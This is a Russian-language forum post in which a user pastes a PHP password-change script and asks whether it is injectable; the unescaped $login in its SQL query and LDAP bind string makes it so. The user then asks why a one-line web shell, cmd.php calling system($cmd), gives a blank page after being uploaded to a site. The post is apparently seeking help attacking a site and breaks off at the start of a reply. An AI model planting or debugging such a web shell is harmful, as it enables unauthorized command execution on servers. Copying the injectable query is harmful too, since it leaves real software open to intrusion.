speller
Сообщений: 106
Оценки: 0
Присоединился: 2005-03-13 02:01:29
|
Есть ли здесь сабж:
// connect to databank
$db = DB::connect("mysql://$db_user:$db_passwd@$db_host/$db_name");
if (DB::iserror($db)) {
$errortxt[] = "No connection to databank";
$errortxt[] = "The function is temporarily not available.";
$errortxt[] = ($db->getMessage());
}
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$authorized = false;
$login = $HTTP_POST_VARS["login"];
$masterpwd = $HTTP_POST_VARS["masterpwd"];
$opasswd = $HTTP_POST_VARS["opasswd"];
$npasswd = $HTTP_POST_VARS["npasswd"];
$npasswd2 = $HTTP_POST_VARS["npasswd2"];
…
if ($login == "")
$errortxt[] = "Username must be entered.";
if (($masterpwd == "") && ($opasswd == ""))
$errortxt[] = "Either the Master-password or the old" .
"password must be entered.";
if ($npasswd != $npasswd2)
$errortxt[] = "New password is not equal with the" .
"repetition of the password.";
if (ereg("['\"]",$npasswd))
$errortxt[] = "Password cannot contain " and ' " .
"chars.";
if (strlen($npasswd) < 6)
$errortxt[] = "Password is too short.";
if (strlen($npasswd) > 8)
$errortxt[] = "Password is too long";
$query = "SELECT UserId, MasterPasswd, StudiengangId FROM User " .
"WHERE Login='$login' AND " .
"(Status='active' OR Status='warned')";
$row = $db->getRow($query);
if (DB::iserror($db)) {
$errortxt[] = "Databank Error";
$errortxt[] = $db->getMessage();
}
if (!isset($row[0]))
$errortxt[] = "Username not found.";
else {
$userid = $row[0];
$groupid = $row[2];
if ($masterpwd != "") {
if ($masterpwd != $row[1]) {
$errortxt[] = "Unkorrect Master-password.";
$authorized = false;
} else
$authorized = true;
}
}
if ($opasswd != "") {
if (!($ds = ldap_connect($ldap_server)))
$errortxt[] = "No connection to LDAP server.";
if ($ds) {
if (ldap_bind($ds, "uid=" . $login . "," . $baseDN , $opasswd)) {
$authorized = true;
} else
$errortxt[] = "Uncorrect old password.";
ldap_close($ds);
}
// proove password
}
if ($authorized && ! $errortxt) {
$perms[$groupid][PASSWD_PRIV] = 'Y';
$perms[$groupid][READ_PRIV] = 'Y';
$HTTP_SESSION_VARS["perms"] = $perms;
$HTTP_SESSION_VARS["workerId"] = $userid;
$user = new User;
$txt = $user->LoadId($userid);
if ($txt)
$errortxt[] = $txt;
else {
$txt = $user->setpasswd($npasswd);
if ($txt)
$errortxt[] = $txt;
else
$warntxt[] = "Password was changed.";
}
}
$db->disconnect();
}
И еще вопрос. Заливаю на сайт такой файл cmd.php:
<?php system($cmd) ?>
такой:
<? system($cmd) ?>
или такой:
<? system(cmd) ?>
И везде получаю пустую страницу. Что это? PHP на сайте есть.
|
SQL инъекция - 
